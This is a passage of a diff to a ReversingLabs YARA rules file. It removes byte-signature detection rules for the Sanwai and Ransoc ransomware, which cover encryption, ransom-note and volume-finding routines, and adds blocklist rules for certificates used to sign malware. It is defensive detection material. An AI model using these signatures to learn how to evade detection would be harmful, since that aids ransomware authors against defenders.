46 ?? ?? 66 89 45 ?? - EB ?? 51 50 8B CE E8 ?? ?? ?? ?? C6 45 ?? ?? 8B 4D ?? 83 F9 ?? 72 ?? 8B 55 ?? 8D 0C - 4D ?? ?? ?? ?? 8B C2 81 F9 ?? ?? ?? ?? 72 ?? 8B 50 ?? 83 C1 ?? 2B C2 83 C0 ?? 83 F8 - ?? 77 ?? 51 52 E8 ?? ?? ?? ?? 83 C4 ?? 33 C0 C7 45 ?? ?? ?? ?? ?? C7 45 ?? ?? ?? ?? - ?? 66 89 45 ?? 68 ?? ?? ?? ?? 8D 85 ?? ?? ?? ?? 50 57 FF D3 85 C0 0F 85 ?? ?? ?? ?? - 57 FF 15 ?? ?? ?? ?? 8B 4D ?? 8B C6 5F 5E 5B 64 89 0D ?? ?? ?? ?? 8B E5 5D C3 - } - $drop_ransom_note_v2_p1 = { - 55 8B EC 6A ?? 68 ?? ?? ?? ?? 64 A1 ?? ?? ?? ?? 50 64 89 25 ?? ?? ?? ?? 83 EC ?? 53 - 56 57 C7 45 ?? ?? ?? ?? ?? C7 45 ?? ?? ?? ?? ?? 8B 7D ?? 68 ?? ?? ?? ?? E8 ?? ?? ?? - ?? B9 ?? ?? ?? ?? 8B D8 2B CF 83 C4 ?? 3B CB 0F 82 ?? ?? ?? ?? 83 7D ?? ?? 8D 45 ?? - 8D 0C 3B C7 45 ?? ?? ?? ?? ?? 0F 43 45 ?? BE ?? ?? ?? ?? 89 45 ?? 8D 45 ?? C7 45 ?? - ?? ?? ?? ?? C7 45 ?? ?? ?? ?? ?? 89 4D ?? 89 45 ?? 3B CE 76 ?? 8B F1 83 CE ?? 81 FE - ?? ?? ?? ?? 76 ?? BE ?? ?? ?? ?? EB ?? B8 ?? ?? ?? ?? 3B F0 0F 42 F0 8D 46 ?? 50 8D - 4D ?? E8 ?? ?? ?? ?? 89 45 ?? 8D 0C 3B 89 45 ?? 89 75 ?? 8D 34 3F 56 FF 75 ?? 89 4D - ?? 50 E8 ?? ?? ?? ?? 8B 7D ?? 8D 04 1B 50 68 ?? ?? ?? ?? 8D 0C 3E 51 E8 ?? ?? ?? ?? - 8B 45 ?? 33 C9 83 C4 ?? C7 45 ?? ?? ?? ?? ?? 66 89 0C 47 C6 45 ?? ?? B8 ?? ?? ?? ?? - 83 3D ?? ?? ?? ?? ?? 8D 4D ?? FF 35 ?? ?? ?? ?? 0F 43 05 ?? ?? ?? ?? 50 E8 ?? ?? ?? - ?? 8B F0 C7 45 ?? ?? ?? ?? ?? 6A ?? 8D 45 ?? C7 45 ?? ?? ?? ?? ?? 56 50 C7 45 ?? ?? - ?? ?? ?? E8 ?? ?? ?? ?? 33 C0 C7 46 ?? ?? ?? ?? ?? C7 46 ?? ?? ?? ?? ?? 83 C4 ?? 66 - } - $drop_ransom_note_v2_p2 = { - 89 06 BE ?? ?? ?? ?? C7 45 ?? ?? ?? ?? ?? 89 75 ?? 83 E6 ?? 89 75 ?? C6 45 ?? ?? 8B - 4D ?? 83 F9 ?? 72 ?? 8B 55 ?? 8D 0C 4D ?? ?? ?? ?? 8B C2 81 F9 ?? ?? ?? ?? 72 ?? 8B - 50 ?? 83 C1 ?? 2B C2 83 C0 ?? 83 F8 ?? 0F 87 ?? ?? ?? ?? 51 52 E8 ?? ?? ?? ?? 83 C4 - ?? 6A ?? 68 ?? ?? ?? ?? 6A ?? 33 C0 C7 45 ?? ?? ?? ?? ?? 83 7D ?? ?? 6A ?? 66 89 45 - ?? 8D 45 ?? 0F 43 45 ?? 6A ?? 68 ?? ?? ?? ?? 50 C7 45 ?? ?? ?? ?? ?? FF 15 ?? ?? ?? - ?? 8B F8 83 FF ?? 74 ?? 6A ?? 6A ?? 68 ?? ?? ?? ?? 68 ?? ?? ?? ?? 57 FF 15 ?? ?? ?? - ?? 57 FF 15 ?? ?? ?? ?? 83 E6 ?? 89 75 ?? C6 45 ?? ?? 8B 4D ?? 5F 5E 5B 83 F9 ?? 72 - ?? 8B 55 ?? 8D 0C 4D ?? ?? ?? ?? 8B C2 81 F9 ?? ?? ?? ?? 72 ?? 8B 50 ?? 83 C1 ?? 2B - C2 83 C0 ?? 83 F8 ?? 77 ?? 51 52 E8 ?? ?? ?? ?? 83 C4 ?? 33 C0 C7 45 ?? ?? ?? ?? ?? - C7 45 ?? ?? ?? ?? ?? 66 89 45 ?? C7 45 ?? ?? ?? ?? ?? 8D 4D ?? E8 ?? ?? ?? ?? 8B 4D - ?? 64 89 0D ?? ?? ?? ?? 8B E5 5D C3 - } - $encrypt_files_v5 = { - 50 FF 15 ?? ?? ?? ?? 8B D8 C6 45 ?? ?? 8D 8D ?? ?? ?? ?? E8 ?? ?? ?? ?? F6 C3 ?? 74 - ?? C6 45 ?? ?? 80 7D ?? ?? 0F 84 ?? ?? ?? ?? FF 75 ?? E8 ?? ?? ?? ?? 83 C4 ?? E9 ?? - ?? ?? ?? 8D 4D ?? E8 ?? ?? ?? ?? 8D 85 ?? ?? ?? ?? 50 8D 4D ?? E8 ?? ?? ?? ?? C6 45 - ?? ?? 8D 8D ?? ?? ?? ?? 51 8B C8 E8 ?? ?? ?? ?? C6 45 ?? ?? 50 8D 4D ?? E8 ?? ?? ?? - ?? C6 45 ?? ?? 8D 8D ?? ?? ?? ?? E8 ?? ?? ?? ?? C6 45 ?? ?? C6 45 ?? ?? 8D 8D ?? ?? - ?? ?? E8 ?? ?? ?? ?? 8D 85 ?? ?? ?? ?? 50 8D 4D ?? E8 ?? ?? ?? ?? C6 45 ?? ?? 8D 8D - ?? ?? ?? ?? 51 8B C8 E8 ?? ?? ?? ?? C6 45 ?? ?? 50 8D 4D ?? E8 ?? ?? ?? ?? C6 45 ?? - ?? 8D 8D ?? ?? ?? ?? E8 ?? ?? ?? ?? C6 45 ?? ?? C6 45 ?? ?? 8D 8D ?? ?? ?? ?? E8 ?? - ?? ?? ?? 6A ?? 68 ?? ?? ?? ?? 8D 4D ?? E8 ?? ?? ?? ?? 83 F8 ?? 0F 84 ?? ?? ?? ?? 8D - 45 ?? 50 8D 8D ?? ?? ?? ?? E8 ?? ?? ?? ?? C6 45 ?? ?? 6A ?? 6A ?? 8D 8D ?? ?? ?? ?? - E8 ?? ?? ?? ?? 8B F8 83 FF ?? 75 ?? C6 45 ?? ?? 8D 8D ?? ?? ?? ?? E8 ?? ?? ?? ?? E9 - ?? ?? ?? ?? 8D 8D ?? ?? ?? ?? 83 BD ?? ?? ?? ?? ?? 0F 43 8D ?? ?? ?? ?? 8B 85 ?? ?? - ?? ?? 8D 0C 41 89 4D ?? 8D 85 ?? ?? ?? ?? 0F 43 85 ?? ?? ?? ?? 89 45 ?? 89 45 ?? 8D - 04 78 89 45 ?? 51 50 8D 85 ?? ?? ?? ?? 50 8D 8D ?? ?? ?? ?? E8 ?? ?? ?? ?? 68 ?? ?? - ?? ?? 8D 45 - } - $find_system_volumes_v2_p1 = { - C7 45 ?? ?? ?? ?? ?? 89 7D ?? FF 15 ?? ?? ?? ?? 8B D8 8D 45 ?? 50 68 ?? ?? ?? ?? 8D - 85 ?? ?? ?? ?? 50 8D 85 ?? ?? ?? ?? 50 FF 15 ?? ?? ?? ?? 85 C0 0F 84 ?? ?? ?? ?? 6A - ?? 6A ?? 8D 45 ?? 50 6A ?? 6A ?? 6A ?? 6A ?? 8D 85 ?? ?? ?? ?? 50 FF 15 ?? ?? ?? ?? - 85 C0 0F 84 ?? ?? ?? ?? F7 45 ?? ?? ?? ?? ?? 0F 85 ?? ?? ?? ?? 8D 85 ?? ?? ?? ?? 50 - E8 ?? ?? ?? ?? 83 C4 ?? 8D 4D ?? 51 8D 8D ?? ?? ?? ?? 8D 04 41 50 8B C1 8D 4D ?? 50 - E8 ?? ?? ?? ?? 8B F0 C6 45 ?? ?? 8B 4D ?? 3B 4D ?? 74 ?? 6A ?? 56 51 C7 01 ?? ?? ?? - ?? C7 41 ?? ?? ?? ?? ?? C7 41 ?? ?? ?? ?? ?? E8 ?? ?? ?? ?? 83 C4 ?? C7 46 ?? ?? ?? - ?? ?? C7 46 ?? ?? ?? ?? ?? C6 06 ?? 83 45 ?? ?? EB ?? 56 51 8D 4D ?? E8 ?? ?? ?? ?? - C6 45 ?? ?? 8D 4D ?? E8 ?? ?? ?? ?? 68 ?? ?? ?? ?? 8D 85 ?? ?? ?? ?? 50 53 FF 15 ?? - ?? ?? ?? 85 C0 0F 85 ?? ?? ?? ?? 53 FF 15 ?? ?? ?? ?? 8B 75 ?? 33 C9 89 4D ?? B8 ?? - ?? ?? ?? 8B 4D ?? 2B CE F7 E9 C1 FA ?? 8B C2 C1 E8 ?? 03 C2 0F 84 ?? ?? ?? ?? 33 DB - 8D 4D ?? 8D 04 33 89 4D ?? C6 45 ?? ?? 8D 4D ?? 51 50 8D 45 ?? 50 E8 ?? ?? ?? ?? 83 - C4 ?? 8D 4D ?? 83 CF ?? 89 7D ?? C7 45 ?? ?? ?? ?? ?? 6A ?? E8 ?? ?? ?? ?? C6 45 ?? - ?? 83 E7 ?? 89 7D ?? C6 45 ?? ?? 8D 45 ?? 8B 35 ?? ?? ?? ?? 3B 35 ?? ?? ?? ?? 74 ?? - 6A ?? 50 56 89 75 ?? C7 06 ?? ?? ?? ?? C7 46 ?? ?? ?? ?? ?? C7 46 ?? ?? ?? ?? ?? E8 - ?? ?? ?? ?? 33 C0 C7 45 ?? ?? ?? ?? ?? 83 C4 ?? C7 45 ?? ?? ?? ?? ?? 66 89 45 ?? C6 - } - $find_system_volumes_v2_p2 = { - 45 ?? ?? 8B 45 ?? 89 46 ?? C6 45 ?? ?? 83 05 ?? ?? ?? ?? ?? EB ?? 50 56 B9 ?? ?? ?? - ?? E8 ?? ?? ?? ?? C6 45 ?? ?? 8B 4D ?? 83 F9 ?? 72 ?? 8B 55 ?? 8D 0C 4D ?? ?? ?? ?? - 8B C2 81 F9 ?? ?? ?? ?? 72 ?? 8B 50 ?? 83 C1 ?? 2B C2 83 C0 ?? 83 F8 ?? 0F 87 ?? ?? - ?? ?? 51 52 E8 ?? ?? ?? ?? 83 C4 ?? 8B 4D ?? 33 C0 8B 75 ?? 83 C3 ?? FF 45 ?? 2B CE - 66 89 45 ?? B8 ?? ?? ?? ?? F7 E9 C7 45 ?? ?? ?? ?? ?? C1 FA ?? 8B C2 C7 45 ?? ?? ?? - ?? ?? C1 E8 ?? 03 C2 39 45 ?? 0F 82 ?? ?? ?? ?? 83 E7 ?? 89 7D ?? C7 45 ?? ?? ?? ?? - ?? 8D 4D ?? E8 ?? ?? ?? ?? 5F 5B EB ?? 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 8D 45 ?? 68 ?? - ?? ?? ?? 50 E8 ?? ?? ?? ?? 83 C4 ?? C7 45 ?? ?? ?? ?? ?? 8D 4D ?? 6A ?? C7 45 ?? ?? - ?? ?? ?? E8 ?? ?? ?? ?? C7 45 ?? ?? ?? ?? ?? 8D 45 ?? 50 B9 ?? ?? ?? ?? E8 ?? ?? ?? - ?? C7 45 ?? ?? ?? ?? ?? 8D 4D ?? E8 ?? ?? ?? ?? E8 ?? ?? ?? ?? FF 15 ?? ?? ?? ?? F3 - 0F 7E 05 ?? ?? ?? ?? 8B F0 2B 75 ?? 66 0F D6 45 ?? 90 8B 55 ?? 8B 4D ?? E8 ?? ?? ?? - ?? 83 3D ?? ?? ?? ?? ?? F2 0F 10 0D ?? ?? ?? ?? F2 0F 59 C1 F2 0F 59 C1 F2 0F 59 C1 - F2 0F 11 45 ?? 74 ?? E8 ?? ?? ?? ?? 8B 0D ?? ?? ?? ?? 3B C8 74 ?? 6A ?? 51 FF 35 ?? - ?? ?? ?? E8 ?? ?? ?? ?? 83 C4 ?? 85 C0 75 ?? 0F 57 C0 66 0F 13 05 ?? ?? ?? ?? FF 35 - ?? ?? ?? ?? FF 15 ?? ?? ?? ?? F2 0F 10 45 ?? 83 EC ?? F2 0F 11 44 24 ?? 66 0F 6E C6 - F3 0F E6 C0 C1 EE - } + condition: + uint16( 0 ) == 0x5A4D and for any i in ( 0 .. pe.number_of_signatures ) : ( pe.signatures [ i ] . subject contains "Beijing Caiyunshidai Technology Co., Ltd." and pe.signatures [ i ] . serial == "33:41:21:68:ee:b3:c0:e4:c7:dd:05:08:a9:ff:ec:d5" and 1467590400 <= pe.signatures [ i ] . not_after ) +} + +rule REVERSINGLABS_Cert_Blocklist_422Ab71Ac7Fb125Ad7171B0C99510B0E : INFO FILE +{ + meta: + description = "Certificate used for digitally signing malware." + author = "ReversingLabs" + id = "002e344e-a073-5d00-9488-d73fad51c66a" + date = "2020-08-05" + modified = "2023-11-08" + reference = "ReversingLabs" + source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/yara/certificate/blocklist.yara#L16962-L16978" + license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/LICENSE" + logic_hash = "7366e5064a9a9f66260730575327e404eadea096ba3f6cf28c83c47bef9bca58" + score = 75 + quality = 90 + tags = "INFO, FILE" + status = "RELEASED" + sharing = "TLP:WHITE" + category = "INFO" + importance = 25 condition: - uint16( 0 ) == 0x5A4D and ( ( ( $find_files ) and ( $encrypt_files_v1 ) and ( $cmd_prompt ) and ( $exclude_from_encryption_v1 ) ) or ( ( $find_files ) and ( $cmd_prompt ) and ( $ldap_connect ) and ( $encrypt_files_v2 ) and ( $exclude_from_encryption_v1 ) ) or ( ( $find_files ) and ( $cmd_prompt ) and ( $ldap_connect ) and ( $encrypt_files_v3 ) and ( $exclude_from_encryption_v1 ) ) or ( ( $find_files ) and ( $encrypt_files_v4 ) and ( $drop_ransom_note_v1 ) and ( all of ( $exclude_from_encryption_v2_p* ) ) ) or ( ( $find_files ) and ( $exclude_from_encryption_v1 ) and ( any of ( $encrypt_files_v5 ) ) and ( all of ( $find_system_volumes_v2_p* ) ) ) or ( ( all of ( $encrypt_files_v5_p* ) ) and ( all of ( $set_default_icon_p* ) ) and ( $find_system_volumes ) and ( all of ( $drop_ransom_note_v2_p* ) ) and ( $find_files ) ) or ( ( all of ( $encrypt_files_v6_p* ) ) and ( all of ( $set_default_icon_p* ) ) and ( all of ( $drop_ransom_note_v2_p* ) ) and ( $find_files ) ) ) + uint16( 0 ) == 0x5A4D and for any i in ( 0 .. pe.number_of_signatures ) : ( pe.signatures [ i ] . subject contains "Xin Zhou" and pe.signatures [ i ] . serial == "42:2a:b7:1a:c7:fb:12:5a:d7:17:1b:0c:99:51:0b:0e" and 1475193600 <= pe.signatures [ i ] . not_after ) } -rule REVERSINGLABS_Win32_Ransomware_Sanwai : TC_DETECTION MALICIOUS MALWARE FILE + +rule REVERSINGLABS_Cert_Blocklist_6F18946E5B773B7E32D9E7B4Fb8D434C : INFO FILE { meta: - description = "Yara rule that detects Sanwai ransomware." + description = "Certificate used for digitally signing malware." author = "ReversingLabs" - id = "01912621-4a34-5e34-8542-5b561e8da567" - date = "2021-11-11" - modified = "2021-11-11" + id = "53205508-568c-5356-9717-2915c8f3806c" + date = "2020-08-05" + modified = "2023-11-08" reference = "ReversingLabs" - source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/yara/ransomware/Win32.Ransomware.Sanwai.yara#L1-L71" + source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/yara/certificate/blocklist.yara#L16980-L16996" license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/LICENSE" - logic_hash = "a7a95b2403fe539dce0d856cc1c04d15440677ea39c0a22e818b42333a64e92c" + logic_hash = "fa285c17b43d1acdb05888074ecb16047209ade8f7f6191274f58eca7438dadf" score = 75 quality = 90 - tags = "TC_DETECTION, MALICIOUS, MALWARE, FILE" + tags = "INFO, FILE" status = "RELEASED" sharing = "TLP:WHITE" - category = "MALWARE" - tc_detection_type = "Ransomware" - tc_detection_name = "Sanwai" - tc_detection_factor = 5 + category = "INFO" importance = 25 - strings: - $find_files = { - 55 8B EC 6A ?? 68 ?? ?? ?? ?? 64 A1 ?? ?? ?? ?? 50 83 EC ?? 53 56 57 A1 ?? ?? ?? ?? - 33 C5 50 8D 45 ?? 64 A3 ?? ?? ?? ?? 89 55 ?? 8B D9 83 7B ?? ?? 8B F3 8B 45 ?? 8B 7D - ?? 89 45 ?? 72 ?? 8B 33 8D 4E ?? 66 8B 06 83 C6 ?? 66 85 C0 75 ?? 2B F1 D1 FE 0F 84 - ?? ?? ?? ?? 3B 73 ?? 0F 85 ?? ?? ?? ?? 88 45 ?? 8D 55 ?? FF 75 ?? 8D 4D ?? C7 45 ?? - ?? ?? ?? ?? C7 45 ?? ?? ?? ?? ?? E8 ?? ?? ?? ?? 83 C4 ?? 8D 45 ?? C7 45 ?? ?? ?? ?? - ?? 50 8B CB E8 ?? ?? ?? ?? 8B 55 ?? 83 FA ?? 72 ?? 8B 4D ?? 8D 14 55 ?? ?? ?? ?? 8B - C1 81 FA ?? ?? ?? ?? 72 ?? 8B 49 ?? 83 C2 ?? 2B C1 83 C0 ?? 83 F8 ?? 76 ?? FF 15 ?? - ?? ?? ?? 52 51 E8 ?? ?? ?? ?? 83 C4 ?? 83 7B ?? ?? 72 ?? 8B 1B 8B 75 ?? 57 56 53 E8 - ?? ?? ?? ?? 85 C0 75 ?? 8B 36 8B CF E8 ?? ?? ?? ?? 84 C0 74 ?? 57 56 E8 ?? ?? ?? ?? - 85 C0 75 ?? 8B CF E8 ?? ?? ?? ?? 84 C0 75 ?? 33 C0 8B 4D ?? 64 89 0D ?? ?? ?? ?? 59 - 5F 5E 5B 8B E5 5D C3 83 F8 ?? 75 ?? 8B 4D ?? D1 E9 F6 C1 ?? B9 ?? ?? ?? ?? 0F 45 C1 - 8B 4D ?? 64 89 0D ?? ?? ?? ?? 59 5F 5E 5B 8B E5 5D C3 B8 ?? ?? ?? ?? 8B 4D ?? 64 89 - 0D ?? ?? ?? ?? 59 5F 5E 5B 8B E5 5D C3 - } - $import_key = { - 8D 44 24 ?? 50 6A ?? 6A ?? 6A ?? 8D 44 24 ?? 50 FF 74 24 ?? FF 15 ?? ?? ?? ?? 5E 85 - C0 75 ?? 50 FF 74 24 ?? FF 15 ?? ?? ?? ?? 32 C0 5F 8B 4C 24 ?? 33 CC E8 ?? ?? ?? ?? - 83 C4 ?? C3 8B 44 24 ?? FF 74 24 ?? 8B 08 8B 40 ?? 89 47 ?? 8D 44 24 ?? 50 57 6A ?? - 6A ?? 6A ?? FF 74 24 ?? 89 0F FF 15 ?? ?? ?? ?? FF 74 24 ?? FF 15 ?? ?? ?? ?? 6A ?? - FF 74 24 ?? FF 15 ?? ?? ?? ?? 8B 4C 24 ?? B0 ?? 5F 33 CC E8 ?? ?? ?? ?? 83 C4 ?? C3 - } - $encrypt_files = { - 8B 01 3B 02 75 ?? 83 C1 ?? 83 C2 ?? 83 EE ?? 73 ?? 8A 01 3A 02 75 ?? 83 FE ?? 74 ?? - 8A 41 ?? 3A 42 ?? 75 ?? 8A 41 ?? 3A 42 ?? 75 ?? 8A 41 ?? 3A 42 ?? 75 ?? 33 C0 EB ?? - 1B C0 83 C8 ?? 85 C0 75 ?? 8B 5D ?? 8B 7D ?? C6 85 ?? ?? ?? ?? ?? E9 ?? ?? ?? ?? 8B - BD ?? ?? ?? ?? 8D 85 ?? ?? ?? ?? 50 8B CF E8 ?? ?? ?? ?? 51 C6 45 ?? ?? 8D 4D ?? 8B - 9D ?? ?? ?? ?? 51 83 CB ?? 8B C8 89 9D ?? ?? ?? ?? E8 ?? ?? ?? ?? 81 CB ?? ?? ?? ?? - C7 45 ?? ?? ?? ?? ?? 8D 4D ?? 83 CB ?? 83 7D ?? ?? 89 9D ?? ?? ?? ?? 0F 43 4D ?? 83 - 7D ?? ?? 89 9D ?? ?? ?? ?? 0F 85 ?? ?? ?? ?? BA ?? ?? ?? ?? BE ?? ?? ?? ?? 8B 01 3B - 02 75 ?? 83 C1 ?? 83 C2 ?? 83 EE ?? 73 ?? 8A 01 3A 02 75 ?? 83 FE ?? 74 ?? 8A 41 ?? - 3A 42 ?? 75 ?? 8A 41 ?? 3A 42 ?? 75 ?? 8A 41 ?? 3A 42 ?? 75 ?? 33 C0 EB ?? 1B C0 83 - C8 ?? 85 C0 75 ?? 8B 5D ?? 8B 7D ?? C6 85 ?? ?? ?? ?? ?? E9 ?? ?? ?? ?? 8D 45 ?? 8B - CF 50 E8 ?? ?? ?? ?? 51 8D 4D ?? C7 45 ?? ?? ?? ?? ?? 51 83 CB ?? 8B C8 89 9D ?? ?? - ?? ?? E8 ?? ?? ?? ?? 8B 7D ?? 8D 4D ?? 81 CB ?? ?? ?? ?? 89 9D ?? ?? ?? ?? 8B 5D ?? - 83 FB ?? 0F 43 CF 83 7D ?? ?? 0F 85 - } - condition: - uint16( 0 ) == 0x5A4D and ( $find_files ) and ( $import_key ) and ( $encrypt_files ) + uint16( 0 ) == 0x5A4D and for any i in ( 0 .. pe.number_of_signatures ) : ( pe.signatures [ i ] . subject contains "VECTOR LLC (VEKTOR, OOO)" and pe.signatures [ i ] . serial == "6f:18:94:6e:5b:77:3b:7e:32:d9:e7:b4:fb:8d:43:4c" and 1454716800 <= pe.signatures [ i ] . not_after ) } -rule REVERSINGLABS_Win32_Ransomware_Ransoc : TC_DETECTION MALICIOUS MALWARE FILE + +rule REVERSINGLABS_Cert_Blocklist_3596Dfc23B9A42C66700982250Da2906 : INFO FILE { meta: - description = "Yara rule that detects Ransoc ransomware." + description = "Certificate used for digitally signing malware." author = "ReversingLabs" - id = "a990754e-eafa-5501-a123-bcbd5aa26ca6" - date = "2020-06-26" - modified = "2020-07-15" + id = "15c3551f-7b08-5e7f-a540-68b3eccac316" + date = "2020-08-05" + modified = "2023-11-08" reference = "ReversingLabs" - source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/yara/ransomware/Win32.Ransomware.Ransoc.yara#L1-L114" + source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/yara/certificate/blocklist.yara#L16998-L17014" license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/LICENSE" - logic_hash = "1f48f1b713c18b099e863d8a11e872ae84df0ea355f01cba765e8333d8d98575" + logic_hash = "1b69bf520fde5255069cf8752d5c67716e9bc297ddde1566551a563a563197ea" score = 75 quality = 90 - tags = "TC_DETECTION, MALICIOUS, MALWARE, FILE" + tags = "INFO, FILE" status = "RELEASED" sharing = "TLP:WHITE" - category = "MALWARE" - tc_detection_type = "Ransomware" - tc_detection_name = "Ransoc" - tc_detection_factor = 5 + category = "INFO" importance = 25 - strings: - $scan_for_services = { - E8 ?? ?? ?? ?? 83 C4 ?? 85 C0 75 ?? B8 ?? ?? ?? ?? 66 A3 ?? ?? ?? ?? E8 ?? ?? ?? ?? - 66 39 2D ?? ?? ?? ?? 73 ?? 66 01 1D ?? ?? ?? ?? 03 F3 E8 ?? ?? ?? ?? 6A ?? 6A ?? 68 - ?? ?? ?? ?? 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 83 C4 ?? 85 C0 75 ?? B9 ?? ?? ?? ?? 66 89 - 0D ?? ?? ?? ?? E8 ?? ?? ?? ?? 66 39 2D ?? ?? ?? ?? 73 ?? 66 01 1D ?? ?? ?? ?? 03 F3 - E8 ?? ?? ?? ?? 6A ?? 6A ?? 68 ?? ?? ?? ?? 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 83 C4 ?? 85 - C0 75 ?? BA ?? ?? ?? ?? 66 89 15 ?? ?? ?? ?? E8 ?? ?? ?? ?? 66 39 2D ?? ?? ?? ?? 73 - ?? 66 01 1D ?? ?? ?? ?? 03 F3 E8 ?? ?? ?? ?? 6A ?? 6A ?? 68 ?? ?? ?? ?? 68 ?? ?? ?? - ?? E8 ?? ?? ?? ?? 83 C4 ?? 85 C0 75 ?? B8 ?? ?? ?? ?? 66 A3 ?? ?? ?? ?? E8 ?? ?? ?? - ?? 66 39 2D ?? ?? ?? ?? 73 ?? 66 01 1D ?? ?? ?? ?? 03 F3 E8 ?? ?? ?? ?? 6A ?? 6A ?? - 68 ?? ?? ?? ?? 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 83 C4 ?? 85 C0 75 ?? B9 ?? ?? ?? ?? 66 - 89 0D ?? ?? ?? ?? E8 ?? ?? ?? ?? 66 39 2D ?? ?? ?? ?? 73 ?? 66 01 1D ?? ?? ?? ?? 03 - F3 E8 ?? ?? ?? ?? 6A ?? 6A ?? 68 ?? ?? ?? ?? 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 83 C4 ?? - 85 C0 75 ?? BA ?? ?? ?? ?? 66 89 15 ?? ?? ?? ?? E8 ?? ?? ?? ?? 33 FF 66 39 2D ?? ?? - ?? ?? 73 ?? A1 ?? ?? ?? ?? 50 8D 4C 24 ?? 51 E8 ?? ?? ?? ?? 66 01 1D ?? ?? ?? ?? 8B - FB 03 F3 E8 ?? ?? ?? ?? 6A ?? 6A ?? 68 ?? ?? ?? ?? 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 83 - C4 ?? 85 C0 75 ?? BA ?? ?? ?? ?? 66 89 15 ?? ?? ?? ?? E8 ?? ?? ?? ?? 66 39 2D ?? ?? - ?? ?? 73 ?? 85 FF 75 ?? A1 ?? ?? ?? ?? 50 8D 4C 24 ?? 51 E8 ?? ?? ?? ?? 83 C4 ?? 66 - 01 1D ?? ?? ?? ?? 03 F3 E8 ?? ?? ?? ?? 6A ?? 6A ?? 68 ?? ?? ?? ?? 68 ?? ?? ?? ?? E8 - ?? ?? ?? ?? 83 C4 ?? 85 C0 75 ?? BA ?? ?? ?? ?? 66 89 15 ?? ?? ?? ?? E8 ?? ?? ?? ?? - EB ?? 85 FF 74 ?? 8D 44 24 ?? 50 E8 - } - $remote_connection = { - 8B 44 24 ?? 83 EC ?? 53 8B 5C 24 ?? 56 8B 74 24 ?? 50 56 E8 ?? ?? ?? ?? 8B D8 83 C4 - ?? 83 FB ?? 75 ?? 5E B8 ?? ?? ?? ?? 5B 83 C4 ?? C3 8B 4C 24 ?? 55 8B 6C 24 ?? 57 55 - 56 51 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 83 C4 ?? 8B F0 56 FF 15 ?? ?? ?? ?? 50 56 53 E8 - ?? ?? ?? ?? 56 8B F8 E8 ?? ?? ?? ?? 83 C4 ?? 83 FF ?? 75 ?? 53 FF 15 ?? ?? ?? ?? 8D - 47 ?? 5F 5D 5E 5B 83 C4 ?? C3 8B 44 24 ?? 85 C0 74 ?? 85 ED 74 ?? 55 50 53 E8 ?? ?? - ?? ?? 83 C4 ?? 83 F8 ?? 75 ?? 53 FF 15 ?? ?? ?? ?? 5F 5D 5E B8 ?? ?? ?? ?? 5B 83 C4 - ?? C3 8D 54 24 ?? 52 E8 ?? ?? ?? ?? 8B 2D ?? ?? ?? ?? 83 C4 ?? 8D 49 ?? 8B 74 24 ?? - 8B C6 2B 44 24 ?? 75 ?? 8D 4C 24 ?? 6A ?? 51 E8 ?? ?? ?? ?? 8B 74 24 ?? 83 C4 ?? 2B - 74 24 ?? 6A ?? 56 8D 54 24 ?? 56 52 E8 ?? ?? ?? ?? 83 C4 ?? 50 53 FF D5 8B F8 85 FF - 78 ?? 2B C6 01 44 24 ?? EB ?? 29 74 24 ?? 83 FF ?? 74 ?? 85 FF 75 ?? 53 FF 15 ?? ?? - ?? ?? 85 FF 79 ?? 8D 4C 24 ?? 51 E8 ?? ?? ?? ?? 83 C4 ?? 5F 5D 5E B8 ?? ?? ?? ?? 5B - 83 C4 ?? C3 8D 54 24 ?? 6A ?? 52 E8 ?? ?? ?? ?? 8B 44 24 ?? 83 C4 ?? 68 ?? ?? ?? ?? - 50 FF 15 ?? ?? ?? ?? 8B F0 85 F6 75 ?? 8D 4C 24 ?? 51 E8 ?? ?? ?? ?? 83 C4 ?? 5F 5D - 8D 46 ?? 5E 5B 83 C4 ?? C3 8B 54 24 ?? 83 C2 ?? 6A ?? 52 E8 ?? ?? ?? ?? 8B 4C 24 ?? - 8B 54 24 ?? 8B F8 8B 44 24 ?? 2B F0 83 C6 ?? 2B CE 51 03 F0 56 52 E8 ?? ?? ?? ?? 8D - 44 24 ?? 50 E8 - } - $encrypt_files = { - 81 EC ?? ?? ?? ?? 53 55 56 8B 35 ?? ?? ?? ?? 57 68 ?? ?? ?? ?? FF D6 68 ?? ?? ?? ?? - 8B F8 FF D6 8B 8C 24 ?? ?? ?? ?? 8B E8 8B 84 24 ?? ?? ?? ?? 50 51 57 8D 94 24 ?? ?? - ?? ?? 68 ?? ?? ?? ?? 52 E8 ?? ?? ?? ?? 68 ?? ?? ?? ?? 8D 84 24 ?? ?? ?? ?? 6A ?? 50 - E8 ?? ?? ?? ?? 8B BC 24 ?? ?? ?? ?? 8B 8C 24 ?? ?? ?? ?? 83 C4 ?? 89 4C 24 ?? BB ?? - ?? ?? ?? 85 FF 0F 84 ?? ?? ?? ?? EB ?? 8D 49 ?? 55 68 ?? ?? ?? ?? 83 FB ?? 7E ?? 8D - 94 24 ?? ?? ?? ?? B9 ?? ?? ?? ?? 8D 74 24 ?? 8D BC 24 ?? ?? ?? ?? 52 F3 A5 E8 ?? ?? - ?? ?? 8B BC 24 ?? ?? ?? ?? 88 9C 2C ?? ?? ?? ?? 8D 75 ?? EB ?? 8D 84 24 ?? ?? ?? 